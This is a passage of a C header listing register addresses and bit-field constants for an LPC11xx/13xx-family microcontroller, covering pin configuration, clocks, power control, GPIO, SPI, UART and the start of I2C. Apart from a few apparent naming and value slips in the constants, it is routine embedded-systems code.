IOConfigPIO2_4 = REGISTER_ADDRESS(0x40044040); enum IOConfigPIO2_4 { IOConfigPIO2_4_PullDown = (0x01 << 3), IOConfigPIO2_4_PullUp = (0x02 << 3), IOConfigPIO2_4_Repeat = (0x03 << 3), IOConfigPIO2_4_Hysteresis = (0x01 << 5), IOConfigPIO2_4_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO2_5 = REGISTER_ADDRESS(0x40044044); enum IOConfigPIO2_5 { IOConfigPIO2_5_PullDown = (0x01 << 3), IOConfigPIO2_5_PullUp = (0x02 << 3), IOConfigPIO2_5_Repeat = (0x03 << 3), IOConfigPIO2_5_Hysteresis = (0x01 << 5), IOConfigPIO2_5_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO3_5 = REGISTER_ADDRESS(0x40044048); enum IOConfigPIO3_5 { IOConfigPIO3_5_PullDown = (0x01 << 3), IOConfigPIO3_5_PullUp = (0x02 << 3), IOConfigPIO3_5_Repeat = (0x03 << 3), IOConfigPIO3_5_Hysteresis = (0x01 << 5), IOConfigPIO3_5_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO0_6 = REGISTER_ADDRESS(0x4004404C); enum IOConfigPIO0_6 { IOConfigPIO0_6_Function_PIO = 0x00, IOConfigPIO0_6_Function_SCK0 = 0x02, IOConfigPIO0_6_PullDown = (0x01 << 3), IOConfigPIO0_6_PullUp = (0x02 << 3), IOConfigPIO0_6_Repeat = (0x03 << 3), IOConfigPIO0_6_Hysteresis = (0x01 << 5), IOConfigPIO0_6_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO0_7 = REGISTER_ADDRESS(0x40044050); enum IOConfigPIO0_7 { IOConfigPIO0_7_Function_PIO = 0x00, IOConfigPIO0_7_Function_nCTS = 0x01, IOConfigPIO0_7_PullDown = (0x01 << 3), IOConfigPIO0_7_PullUp = (0x02 << 3), IOConfigPIO0_7_Repeat = (0x03 << 3), IOConfigPIO0_7_Hysteresis = (0x01 << 5), IOConfigPIO20_7_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO2_9 = REGISTER_ADDRESS(0x40044054); enum IOConfigPIO2_9 { IOConfigPIO2_9_PullDown = (0x01 << 3), IOConfigPIO2_9_PullUp = (0x02 << 3), IOConfigPIO2_9_Repeat = (0x03 << 3), IOConfigPIO2_9_Hysteresis = (0x01 << 5), IOConfigPIO2_9_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO2_10 = REGISTER_ADDRESS(0x40044058); enum IOConfigPIO2_10 { IOConfigPIO2_10_PullDown = (0x01 << 3), IOConfigPIO2_10_PullUp = (0x02 << 3), IOConfigPIO2_10_Repeat = (0x03 << 3), IOConfigPIO2_10_Hysteresis = (0x01 << 5), IOConfigPIO2_10_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO2_2 = REGISTER_ADDRESS(0x4004405C); enum IOConfigPIO2_2 { IOConfigPIO2_2_Function_PIO = 0x00, IOConfigPIO2_2_Function_nDCD = 0x01, IOConfigPIO2_2_Function_MISO1 = 0x02, IOConfigPIO2_2_PullDown = (0x01 << 3), IOConfigPIO2_2_PullUp = (0x02 << 3), IOConfigPIO2_2_Repeat = (0x03 << 3), IOConfigPIO2_2_Hysteresis = (0x01 << 5), IOConfigPIO2_2_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO0_8 = REGISTER_ADDRESS(0x40044060); enum IOConfigPIO0_8 { IOConfigPIO0_8_Function_PIO = 0x00, IOConfigPIO0_8_Function_MISO0 = 0x01, IOConfigPIO0_8_Function_T0_M0 = 0x02, IOConfigPIO0_8_PullDown = (0x01 << 3), IOConfigPIO0_8_PullUp = (0x02 << 3), IOConfigPIO0_8_Repeat = (0x03 << 3), IOConfigPIO0_8_Hysteresis = (0x01 << 5), IOConfigPIO0_8_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO0_9 = REGISTER_ADDRESS(0x40044064); enum IOConfigPIO0_9 { IOConfigPIO0_9_Function_PIO = 0x00, IOConfigPIO0_9_Function_MOSI0 = 0x01, IOConfigPIO0_9_Function_T0_M1 = 0x02, IOConfigPIO0_9_PullDown = (0x01 << 3), IOConfigPIO0_9_PullUp = (0x02 << 3), IOConfigPIO0_9_Repeat = (0x03 << 3), IOConfigPIO0_9_Hysteresis = (0x01 << 5), IOConfigPIO0_9_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO0_10 = REGISTER_ADDRESS(0x40044068); enum IOConfigPIO0_10 { IOConfigPIO0_10_Function_SWCLK = 0x00, IOConfigPIO0_10_Function_PIO = 0x01, IOConfigPIO0_10_Function_SCK0 = 0x02, IOConfigPIO0_10_Function_T0_M2 = 0x03, IOConfigPIO0_10_PullDown = (0x01 << 3), IOConfigPIO0_10_PullUp = (0x02 << 3), IOConfigPIO0_10_Repeat = (0x03 << 3), IOConfigPIO0_10_Hysteresis = (0x01 << 5), IOConfigPIO0_10_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO1_10 = REGISTER_ADDRESS(0x4004406C); enum IOConfigPIO1_10 { IOConfigPIO1_10_Function_PIO = 0x00, IOConfigPIO1_10_Function_AD6 = 0x01, IOConfigPIO1_10_Function_T1_M1 = 0x02, IOConfigPIO1_10_PullDown = (0x01 << 3), IOConfigPIO1_10_PullUp = (0x02 << 3), IOConfigPIO1_10_Repeat = (0x03 << 3), IOConfigPIO1_10_Hysteresis = (0x01 << 5), IOConfigPIO1_10_AnalogMode = (0x00 << 7), IOConfigPIO1_10_DigitalMode = (0x01 << 7), IOConfigPIO1_10_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO2_11 = REGISTER_ADDRESS(0x40044070); enum IOConfigPIO2_11 { IOConfigPIO2_11_Function_PIO = 0x00, IOConfigPIO2_11_Function_SCK0 = 0x01, IOConfigPIO2_11_PullDown = (0x01 << 3), IOConfigPIO2_11_PullUp = (0x02 << 3), IOConfigPIO2_11_Repeat = (0x03 << 3), IOConfigPIO2_11_Hysteresis = (0x01 << 5), IOConfigPIO2_11_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO0_11 = REGISTER_ADDRESS(0x40044074); enum IOConfigPIO0_11 { IOConfigPIO0_11_Function_None = 0x00, IOConfigPIO0_11_Function_PIO = 0x01, IOConfigPIO0_11_Function_AD0 = 0x02, IOConfigPIO0_11_Function_T2_M3 = 0x03, IOConfigPIO0_11_PullDown = (0x01 << 3), IOConfigPIO0_11_PullUp = (0x02 << 3), IOConfigPIO0_11_Repeat = (0x03 << 3), IOConfigPIO0_11_Hysteresis = (0x01 << 5), IOConfigPIO0_11_AnalogMode = (0x00 << 7), IOConfigPIO0_11_DigitalMode = (0x01 << 7), IOConfigPIO0_11_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO1_0 = REGISTER_ADDRESS(0x40044078); enum IOConfigPIO1_0 { IOConfigPIO1_0_Function_None = 0x00, IOConfigPIO1_0_Function_PIO = 0x01, IOConfigPIO1_0_Function_AD1 = 0x02, IOConfigPIO1_0_Function_T3_CAP = 0x03, IOConfigPIO1_0_PullDown = (0x01 << 3), IOConfigPIO1_0_PullUp = (0x02 << 3), IOConfigPIO1_0_Repeat = (0x03 << 3), IOConfigPIO1_0_Hysteresis = (0x01 << 5), IOConfigPIO1_0_AnalogMode = (0x00 << 7), IOConfigPIO1_0_DigitalMode = (0x01 << 7), IOConfigPIO1_0_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO1_1 = REGISTER_ADDRESS(0x4004407C); enum IOConfigPIO1_1 { IOConfigPIO1_1_Function_None = 0x00, IOConfigPIO1_1_Function_PIO = 0x01, IOConfigPIO1_1_Function_AD2 = 0x02, IOConfigPIO1_1_Function_T3_M0 = 0x03, IOConfigPIO1_1_PullDown = (0x01 << 3), IOConfigPIO1_1_PullUp = (0x02 << 3), IOConfigPIO1_1_Repeat = (0x03 << 3), IOConfigPIO1_1_Hysteresis = (0x01 << 5), IOConfigPIO1_1_AnalogMode = (0x00 << 7), IOConfigPIO1_1_DigitalMode = (0x01 << 7), IOConfigPIO1_1_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO1_2 = REGISTER_ADDRESS(0x40044080); enum IOConfigPIO1_2 { IOConfigPIO1_2_Function_None = 0x00, IOConfigPIO1_2_Function_PIO = 0x01, IOConfigPIO1_2_Function_AD3 = 0x02, IOConfigPIO1_2_Function_T3_M1 = 0x03, IOConfigPIO1_2_PullDown = (0x01 << 3), IOConfigPIO1_2_PullUp = (0x02 << 3), IOConfigPIO1_2_Repeat = (0x03 << 3), IOConfigPIO1_2_Hysteresis = (0x01 << 5), IOConfigPIO1_2_AnalogMode = (0x00 << 7), IOConfigPIO1_2_DigitalMode = (0x01 << 7), IOConfigPIO1_2_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO3_0 = REGISTER_ADDRESS(0x40044084); enum IOConfigPIO3_0 { IOConfigPIO3_0_Function_PIO = 0x00, IOConfigPIO3_0_Function_nDTR = 0x01, IOConfigPIO3_0_PullDown = (0x01 << 3), IOConfigPIO3_0_PullUp = (0x02 << 3), IOConfigPIO3_0_Repeat = (0x03 << 3), IOConfigPIO3_0_Hysteresis = (0x01 << 5), IOConfigPIO3_0_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO3_1 = REGISTER_ADDRESS(0x40044088); enum IOConfigPIO3_1 { IOConfigPIO3_1_Function_PIO = 0x00, IOConfigPIO3_1_Function_nDSR = 0x01, IOConfigPIO3_1_PullDown = (0x01 << 3), IOConfigPIO3_1_PullUp = (0x02 << 3), IOConfigPIO3_1_Repeat = (0x03 << 3), IOConfigPIO3_1_Hysteresis = (0x01 << 5), IOConfigPIO3_1_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO2_3 = REGISTER_ADDRESS(0x4004408C); enum IOConfigPIO2_3 { IOConfigPIO2_3_Function_PIO = 0x00, IOConfigPIO2_3_Function_nRI = 0x01, IOConfigPIO2_3_Function_MOSI1 = 0x02, IOConfigPIO2_3_PullDown = (0x01 << 3), IOConfigPIO2_3_PullUp = (0x02 << 3), IOConfigPIO2_3_Repeat = (0x03 << 3), IOConfigPIO2_3_Hysteresis = (0x01 << 5), IOConfigPIO2_3_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO1_3 = REGISTER_ADDRESS(0x40044090); enum IOConfigPIO1_3 { IOConfigPIO1_3_Function_SWDIO = 0x00, IOConfigPIO1_3_Function_PIO = 0x01, IOConfigPIO1_3_Function_AD4 = 0x02, IOConfigPIO1_3_Function_T3_M2 = 0x03, IOConfigPIO1_3_PullDown = (0x01 << 3), IOConfigPIO1_3_PullUp = (0x02 << 3), IOConfigPIO1_3_Repeat = (0x03 << 3), IOConfigPIO1_3_Hysteresis = (0x01 << 5), IOConfigPIO1_3_AnalogMode = (0x00 << 7), IOConfigPIO1_3_DigitalMode = (0x01 << 7), IOConfigPIO1_3_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO1_4 = REGISTER_ADDRESS(0x40044094); enum IOConfigPIO1_4 { IOConfigPIO1_4_Function_PIO = 0x00, IOConfigPIO1_4_Function_AD5 = 0x01, IOConfigPIO1_4_Function_T3_M3 = 0x02, IOConfigPIO1_4_PullDown = (0x01 << 3), IOConfigPIO1_4_PullUp = (0x02 << 3), IOConfigPIO1_4_Repeat = (0x03 << 3), IOConfigPIO1_4_Hysteresis = (0x01 << 5), IOConfigPIO1_4_AnalogMode = (0x00 << 7), IOConfigPIO1_4_DigitalMode = (0x01 << 7), IOConfigPIO1_4_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO1_11 = REGISTER_ADDRESS(0x40044098); enum IOConfigPIO1_11 { IOConfigPIO1_11_Function_PIO = 0x00, IOConfigPIO1_11_Function_AD7 = 0x01, IOConfigPIO1_11_PullDown = (0x01 << 3), IOConfigPIO1_11_PullUp = (0x02 << 3), IOConfigPIO1_11_Repeat = (0x03 << 3), IOConfigPIO1_11_Hysteresis = (0x01 << 5), IOConfigPIO1_11_AnalogMode = (0x00 << 7), IOConfigPIO1_11_DigitalMode = (0x01 << 7), IOConfigPIO1_11_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO3_2 = REGISTER_ADDRESS(0x4004409C); enum IOConfigPIO3_2 { IOConfigPIO3_2_Function_PIO = 0x00, IOConfigPIO3_2_Function_nDCD = 0x01, IOConfigPIO3_2_PullDown = (0x01 << 3), IOConfigPIO3_2_PullUp = (0x02 << 3), IOConfigPIO3_2_Repeat = (0x03 << 3), IOConfigPIO3_2_Hysteresis = (0x01 << 5), IOConfigPIO3_2_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO1_5 = REGISTER_ADDRESS(0x400440A0); enum IOConfigPIO1_5 { IOConfigPIO1_5_Function_PIO = 0x00, IOConfigPIO1_5_Function_nRTS = 0x01, IOConfigPIO1_5_Function_T2_CAP = 0x02, IOConfigPIO1_5_PullDown = (0x01 << 3), IOConfigPIO1_5_PullUp = (0x02 << 3), IOConfigPIO1_5_Repeat = (0x03 << 3), IOConfigPIO1_5_Hysteresis = (0x01 << 5), IOConfigPIO1_5_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO1_6 = REGISTER_ADDRESS(0x400440A4); enum IOConfigPIO1_6 { IOConfigPIO1_6_Function_PIO = 0x00, IOConfigPIO1_6_Function_RXD = 0x01, IOConfigPIO1_6_Function_T2_M0 = 0x02, IOConfigPIO1_6_PullDown = (0x01 << 3), IOConfigPIO1_6_PullUp = (0x02 << 3), IOConfigPIO1_6_Repeat = (0x03 << 3), IOConfigPIO1_6_Hysteresis = (0x01 << 5), IOConfigPIO1_6_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO1_7 = REGISTER_ADDRESS(0x400440A8); enum IOConfigPIO1_7 { IOConfigPIO1_7_Function_PIO = 0x00, IOConfigPIO1_7_Function_TXD = 0x01, IOConfigPIO1_7_Function_T2_M1 = 0x02, IOConfigPIO1_7_PullDown = (0x01 << 3), IOConfigPIO1_7_PullUp = (0x02 << 3), IOConfigPIO1_7_Repeat = (0x03 << 3), IOConfigPIO1_7_Hysteresis = (0x01 << 5), IOConfigPIO1_7_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO3_3 = REGISTER_ADDRESS(0x400440AC); enum IOConfigPIO3_3 { IOConfigPIO3_3_Function_PIO = 0x00, IOConfigPIO3_3_Function_nRI = 0x01, IOConfigPIO3_3_PullDown = (0x01 << 3), IOConfigPIO3_3_PullUp = (0x02 << 3), IOConfigPIO3_3_Repeat = (0x03 << 3), IOConfigPIO3_3_Hysteresis = (0x01 << 5), IOConfigPIO3_3_OpenDrain = (0x01 << 10), }; REGISTER IOConfigSCKLocation = REGISTER_ADDRESS(0x400440B0); enum IOConfigSCKLocation { IOConfigSCKLocation_PIO0_10_SWCLK = 0x00, IOConfigSCKLocation_PIO2_11 = 0x01, IOConfigSCKLocation_PIO0_6 = 0x02, }; REGISTER IOConfignDSRLocation = REGISTER_ADDRESS(0x400440B4); enum IOConfignDSRLocation { IOConfignDSRLocation_PIO2_1 = 0x00, IOConfignDSRLocation_PIO3_1 = 0x01, }; REGISTER IOConfignDCDLocation = REGISTER_ADDRESS(0x400440B8); enum IOConfignDCDLocation { IOConfignDCDLocation_PIO2_2 = 0x00, IOConfignDCDLocation_PIO3_2 = 0x01, }; REGISTER IOConfignRILocation = REGISTER_ADDRESS(0x400440BC); enum IOConfignRILocation { IOConfignRILocation_PIO2_3 = 0x00, IOConfignRILocation_PIO3_3 = 0x01, }; REGISTER MemoryRemap = REGISTER_ADDRESS(0x40048000); enum MemoryRemap { MemoryRemap_BootROM = 0x00, MemoryRemap_SRAM = 0x01, MemoryRemap_Flash = 0x02, }; REGISTER PeripheralnReset = REGISTER_ADDRESS(0x40048004); enum PeripheralnReset { PeripheralnReset_SPI0 = 0x01, PeripheralnReset_I2C = 0x02, PeripheralnReset_SPI1 = 0x04, PeripheralnReset_CAN = 0x08, }; //the system PLL takes a selectable input frequency and has transform function H(f) = f * ((M + 1) / 2^^(P + 1)) REGISTER PLLControl = REGISTER_ADDRESS(0x40048008); enum PLLControl { PLLControl_MultiplierBitsMask = 0x1F, //value M, multiplication factor is (M + 1) PLLControl_DividerBitsMask = 0x60, //value P, division factor is 2^^(P + 1) PLLControl_DividerBitsShift = 6, }; REGISTER PLLStatus = REGISTER_ADDRESS(0x4004800C); enum PLLStatus { PLLStatus_Locked = 0x01, }; REGISTER OscillatorControl = REGISTER_ADDRESS(0x40048020); enum PLLSourceSelect { PLLSourceSelect_Normal = 0x00, PLLSourceSelect_Bypassed = 0x01, PLLSourceSelect_1_to_20MHz = 0x00, PLLSourceSelect_15_to_25MHz = 0x02, }; REGISTER WatchdogControl = REGISTER_ADDRESS(0x40048024); enum WatchdogControl { WatchdogControl_Frequency_0_6MHz = (0x01 << 5), WatchdogControl_Frequency_1_05MHz = (0x02 << 5), WatchdogControl_Frequency_1_4MHz = (0x03 << 5), WatchdogControl_Frequency_1_75MHz = (0x04 << 5), WatchdogControl_Frequency_2_1MHz = (0x05 << 5), WatchdogControl_Frequency_2_4MHz = (0x06 << 5), WatchdogControl_Frequency_2_7MHz = (0x07 << 5), WatchdogControl_Frequency_3_0MHz = (0x08 << 5), WatchdogControl_Frequency_3_25MHz = (0x09 << 5), WatchdogControl_Frequency_3_5MHz = (0x0A << 5), WatchdogControl_Frequency_3_75MHz = (0x0B << 5), WatchdogControl_Frequency_4_0MHz = (0x0C << 5), WatchdogControl_Frequency_4_2MHz = (0x0D << 5), WatchdogControl_Frequency_4_4MHz = (0x0E << 5), WatchdogControl_Frequency_4_6MHz = (0x0F << 5), }; REGISTER InternalCrystalTrim = REGISTER_ADDRESS(0x40048028); REGISTER ResetStatus = REGISTER_ADDRESS(0x40048030); enum ResetStatus { ResetStatus_PowerOnReset = 0x01, ResetStatus_ExternalReset = 0x02, ResetStatus_WatchdogReset = 0x04, ResetStatus_BrownoutReset = 0x08, ResetStatus_SoftwareReset = 0x10, }; REGISTER PLLSource = REGISTER_ADDRESS(0x40048040); //aka SYSPLLCLKSEL enum PLLSource { PLLSource_InternalCrystal = 0x00, PLLSource_ExternalClock = 0x01, }; REGISTER PLLSourceUpdate = REGISTER_ADDRESS(0x40048044); //aka SYSPLLUEN enum PLLSourceUpdate { PLLSourceUpdate_Enable = 0x01, }; REGISTER MainClockSource = REGISTER_ADDRESS(0x40048070); //aka MAINCLKSEL enum MainClockSource { MainClockSource_InternalCrystal = 0x00, MainClockSource_PLLInput = 0x01, MainClockSource_WDTOscillator = 0x02, MainClockSource_PLLOutput = 0x03, }; REGISTER MainClockSourceUpdate = REGISTER_ADDRESS(0x40048074); //aka MAINCLKUEN enum MainClockSourceUpdate { MainClockSourceUpdate_Enable = 0x01, }; REGISTER MainBusDivider = REGISTER_ADDRESS(0x40048078); //aka SYSAHBCLKDIV REGISTER ClockControl = REGISTER_ADDRESS(0x40048080); //aka SYSAHBCLKCTRL enum ClockControl { ClockControl_Core = 0x000001, //* = enabled at power-up ClockControl_ROM = 0x000002, //* ClockControl_RAM = 0x000004, //* ClockControl_FlashRegisters = 0x000008, //* ClockControl_FlashStorage = 0x000010, //* ClockControl_I2C = 0x000020, ClockControl_GPIO = 0x000040, //* ClockControl_Timer0 = 0x000080, // Timer16B0 or Timer16_0 in the docs ClockControl_Timer1 = 0x000100, // Timer16B1 or Timer16_1 ClockControl_Timer2 = 0x000200, // Timer32B0 or Timer32_0 ClockControl_Timer3 = 0x000400, // Timer32B1 or Timer32_1 ClockControl_SPI0 = 0x000800, //* ClockControl_UART = 0x001000, ClockControl_ADC = 0x002000, ClockControl_USB_13xx = 0x004000, //* ClockControl_Watchdog = 0x008000, ClockControl_IOConfig = 0x010000, ClockControl_CAN_11xx = 0x020000, ClockControl_SPI1_11xx = 0x040000, }; REGISTER SPI0ClockDivider = REGISTER_ADDRESS(0x40048094); REGISTER UARTClockDivider = REGISTER_ADDRESS(0x40048098); REGISTER SPI1ClockDivider = REGISTER_ADDRESS(0x4004809C); REGISTER SystickClockDivider = REGISTER_ADDRESS(0x400480B0); REGISTER WatchdogSource = REGISTER_ADDRESS(0x400480D0); enum WatchdogSource { WatchdogSource_InternalCrystal = 0x00, WatchdogSource_MainClock = 0x01, WatchdogSource_WDTOscillator = 0x02, }; REGISTER WatchdogSourceUpdate = REGISTER_ADDRESS(0x400480D4); enum WatchdogSourceUpdate { WatchdogSourceUpdate_Enable = 0x01, }; REGISTER WatchdogClockDivider = REGISTER_ADDRESS(0x400480D8); REGISTER ClockOutputSource = REGISTER_ADDRESS(0x400480E0); enum ClockOutputSource { ClockOutputSource_InternalCrystal = 0x00, ClockOutputSource_ExternalOscillator = 0x01, ClockOutputSource_WDTOscillator = 0x02, ClockOutputSource_MainClock = 0x03, }; REGISTER ClockOutputSourceUpdate = REGISTER_ADDRESS(0x400480E4); enum ClockOutputSourceUpdate { ClockOutputSourceUpdate_Enable = 0x01, }; REGISTER ClockOutputDivider = REGISTER_ADDRESS(0x400480E8); //... REGISTER BrownoutControl = REGISTER_ADDRESS(0x40048150); enum BrownoutControl { BrownoutControl_Reset_1460mV_1630mV = 0x00, BrownoutControl_Reset_2060mV_2150mV = 0x01, BrownoutControl_Reset_2350mV_2430mV = 0x02, BrownoutControl_Reset_2630mV_2710mV = 0x03, BrownoutControl_Interrupt_1650mV_1800mV = 0x00, BrownoutControl_Interrupt_2220mV_2350mV = 0x04, BrownoutControl_Interrupt_2520mV_2660mV = 0x08, BrownoutControl_Interrupt_2800mV_2900mV = 0x0C, BrownoutControl_ResetEnabled = 0x10, }; //PowerDownControl and PowerDownWakeupControl set the power state of various features // while running or upon wakeup (respectivley.) Modify only the enumerated bits of these // registers, as modifying undocumented bits will lead to undefined behaviour and may // damage the chip. // A 0 for a bit means running, while 1 means powered-down. REGISTER PowerDownWakeupControl = REGISTER_ADDRESS(0x40048234); //aka PDAWAKECFG REGISTER PowerDownControl = REGISTER_ADDRESS(0x40048238); //aka PDRUNCFG enum PowerDownControl { PowerDownControl_InternalCrystalOutput = 0x001, PowerDownControl_InternalCrystal = 0x002, PowerDownControl_Flash = 0x004, PowerDownControl_BrownOutDetector = 0x008, PowerDownControl_ADC = 0x010, PowerDownControl_SystemOscillator = 0x020, //for an external crystal PowerDownControl_WatchdogOscillator = 0x040, PowerDownControl_SystemPLL = 0x080, PowerDownControl_USBPLL = 0x100, PowerDownControl_USBPins = 0x400, }; //GPIO REGISTER GPIO0 = REGISTER_ADDRESS(0x50000000); REGISTER GPIO0Data = REGISTER_ADDRESS(0x50003FFC); REGISTER GPIO0Dir = REGISTER_ADDRESS(0x50008000); REGISTER GPIO1 = REGISTER_ADDRESS(0x50010000); REGISTER GPIO1Data = REGISTER_ADDRESS(0x50013FFC); REGISTER GPIO1Dir = REGISTER_ADDRESS(0x50018000); REGISTER GPIO2 = REGISTER_ADDRESS(0x50020000); REGISTER GPIO2Data = REGISTER_ADDRESS(0x50023FFC); REGISTER GPIO2Dir = REGISTER_ADDRESS(0x50028000); REGISTER GPIO3 = REGISTER_ADDRESS(0x50030000); REGISTER GPIO3Data = REGISTER_ADDRESS(0x50033FFC); REGISTER GPIO3Dir = REGISTER_ADDRESS(0x50038000); //SPI 0 REGISTER SPI0Control0 = REGISTER_ADDRESS(0x40040000); enum SPI0Control0 { SPI0Control0_4BitTransfer = 0x03, SPI0Control0_5BitTransfer = 0x04, SPI0Control0_6BitTransfer = 0x05, SPI0Control0_7BitTransfer = 0x06, SPI0Control0_8BitTransfer = 0x07, SPI0Control0_9BitTransfer = 0x08, SPI0Control0_10BitTransfer = 0x09, SPI0Control0_11BitTransfer = 0x0A, SPI0Control0_12BitTransfer = 0x0B, SPI0Control0_13BitTransfer = 0x0C, SPI0Control0_14BitTransfer = 0x0D, SPI0Control0_15BitTransfer = 0x0E, SPI0Control0_16BitTransfer = 0x0F, SPI0Control0_FrameFormat_SPI = (0x00 << 4), SPI0Control0_FrameFormat_TI = (0x00 << 4), SPI0Control0_FrameFormat_Microwire = (0x00 << 4), SPI0Control0_ClockPolarity_IdleLow = (0x00 << 6), SPI0Control0_ClockPolarity_IdleHigh = (0x01 << 6), SPI0Control0_ClockPhase_IdleToActive = (0x00 << 7), //for ...ClockPolarity_IdleLow, this means reads are on the rising edge. SPI0Control0_ClockPhase_ActiveToIdle = (0x01 << 7), //for ...ClockPolarity_IdleLow, this means reads are on the falling edge. SPI0Control0_SPIMode0 = (0x00 << 6), //polarity 0, phase 0 SPI0Control0_SPIMode1 = (0x02 << 6), //polarity 0, phase 1 SPI0Control0_SPIMode2 = (0x01 << 6), //polarity 1, phase 0 SPI0Control0_SPIMode3 = (0x03 << 6), //polarity 1, phase 1 SPI0Control0_ClockRateMinus1 = (0 << 8), //bits 8-15 }; REGISTER SPI0Control1 = REGISTER_ADDRESS(0x40040004); enum SPI0Control1 { SPI0Control1_LoopbackMode = 0x01, SPI0Control1_Enable = 0x02, SPI0Control1_SlaveMode = 0x04, SPI0Control1_OutputDisable = 0x08, }; REGISTER SPI0Data = REGISTER_ADDRESS(0x40040008); REGISTER SPI0Status = REGISTER_ADDRESS(0x4004000C); enum SPI0Status { SPI0Status_TransmitFIFOEmpty = 0x01, SPI0Status_TransmitFIFONotFull = 0x02, SPI0Status_ReceiveFIFONotEmpty = 0x04, SPI0Status_ReceiveFIFOFull = 0x08, SPI0Status_Busy = 0x10, }; REGISTER SPI0ClockPrescaler = REGISTER_ADDRESS(0x40040010); REGISTER SPI0InterruptEnable = REGISTER_ADDRESS(0x40040014); enum SPI0Interrupt { SPI0Interrupt_ReceiveOverrun = 0x01, SPI0Interrupt_ReceiveTimeout = 0x02, SPI0Interrupt_ReceiveFIFOHalfFull = 0x04, SPI0Interrupt_TransmitFIFOHalfEmpty = 0x08, }; //(enum values are identical to SPI0Interrupt) REGISTER SPI0RawInterrupt = REGISTER_ADDRESS(0x40040018); REGISTER SPI0MaskedInterrupt = REGISTER_ADDRESS(0x4004001C); REGISTER SPI0InterruptClear = REGISTER_ADDRESS(0x40040020); enum SPI0InterruptClear { SPI0InterruptClear_ReceiveOverrun = 0x01, SPI0InterruptClear_ReceiveTimeout = 0x02, }; //UART REGISTER UARTData = REGISTER_ADDRESS(0x40008000); //accessible only when UARTLineControl_DivisorLatch = 0 REGISTER UARTInterrupts = REGISTER_ADDRESS(0x40008004); // " enum UARTInterrupts { UARTInterrupts_ReceivedData = (0x01), UARTInterrupts_TxBufferEmpty = (0x02), UARTInterrupts_RxLineStatus = (0x04), UARTInterrupts_AutoBaudComplete = (0x100), UARTInterrupts_AutoBaudTimeout = (0x200), }; REGISTER UARTDivisorLow = REGISTER_ADDRESS(0x40008000); //when UARTLineControl_DivisorLatch = 1 REGISTER UARTDivisorHigh = REGISTER_ADDRESS(0x40008004); // " REGISTER UARTInterruptID = REGISTER_ADDRESS(0x40008008); //read-only enum UARTInterruptID { UARTInterruptID_InterruptPending = (0x01), UARTInterruptID_ReasonMask = (0x7 << 1), UARTInterruptID_ReceiveException = (3 << 1), //signaled on receive overrun, parity, framing or break errors UARTInterruptID_DataAvailable = (2 << 1), UARTInterruptID_ReceiveTimeout = (6 << 1), //not as bad as it sounds: not enough chars received to trip interrupt UARTInterruptID_TxBufferEmpty = (1 << 1), UARTInterruptID_Modem = (0 << 1), UARTInterruptID_FIFOEnabled = (1 << 6), UARTInterruptID_AutoBaudComplete = (0x100), UARTInterruptID_AutoBaudTimeout = (0x200), }; REGISTER UARTFIFOControl = REGISTER_ADDRESS(0x40008008); //write-only enum UARTFIFOControl { UARTFIFOControl_Enable = (0x01), UARTFIFOControl_RxReset = (0x02), //self-clearing bit UARTFIFOControl_TxReset = (0x04), //self-clearing bit UARTFIFOControl_RxInterrupt1Char = (0x00 << 6), UARTFIFOControl_RxInterrupt4Chars = (0x01 << 6), UARTFIFOControl_RxInterrupt8Chars = (0x02 << 6), UARTFIFOControl_RxInterrupt14Chars = (0x03 << 6), }; REGISTER UARTLineControl = REGISTER_ADDRESS(0x4000800C); enum UARTLineControl { UARTLineControl_5BitChars = (0x00), UARTLineControl_6BitChars = (0x01), UARTLineControl_7BitChars = (0x02), UARTLineControl_8BitChars = (0x03), UARTLineControl_UseStopBit = (0x04), UARTLineControl_UseParity = (0x08), UARTLineControl_UseOddParity = (0x00 << 4), UARTLineControl_UseEvenParity = (0x01 << 4), UARTLineControl_Constant1Parity = (0x02 << 4), UARTLineControl_Constant0Parity = (0x03 << 4), UARTLineControl_BreakControlEnable = (0x40), UARTLineControl_DivisorLatch = (0x80), }; REGISTER UARTModemControl = REGISTER_ADDRESS(0x40008010); enum UARTModemControl { UARTModemControl_DTRPinState = (0x01), UARTModemControl_RTSPinState = (0x02), UARTModemControl_LoopbackMode = (0x04), UARTModemControl_RTSEnable = (0x40), UARTModemControl_CTSEnable = (0x80), }; REGISTER UARTLineStatus = REGISTER_ADDRESS(0x40008014); enum UARTLineStatus { UARTLineStatus_ReceiverDataReady = (0x01), UARTLineStatus_OverrunError = (0x02), UARTLineStatus_ParityError = (0x04), UARTLineStatus_FramingError = (0x08), UARTLineStatus_BreakInterrupt = (0x10), UARTLineStatus_TxHoldingRegisterEmpty = (0x20), UARTLineStatus_TransmitterEmpty = (0x40), UARTLineStatus_RxFIFOEmpty = (0x80), }; REGISTER UARTModemStatus = REGISTER_ADDRESS(0x40008018); //read-only REGISTER UARTScratch = REGISTER_ADDRESS(0x4000801C); REGISTER UARTAutoBaudControl = REGISTER_ADDRESS(0x40008020); REGISTER UARTFractionalDivider = REGISTER_ADDRESS(0x40008028); REGISTER UARTTransmitEnabled = REGISTER_ADDRESS(0x40008030); //I2C REGISTER I2CControlSet = REGISTER_ADDRESS(0x40000000); REGISTER 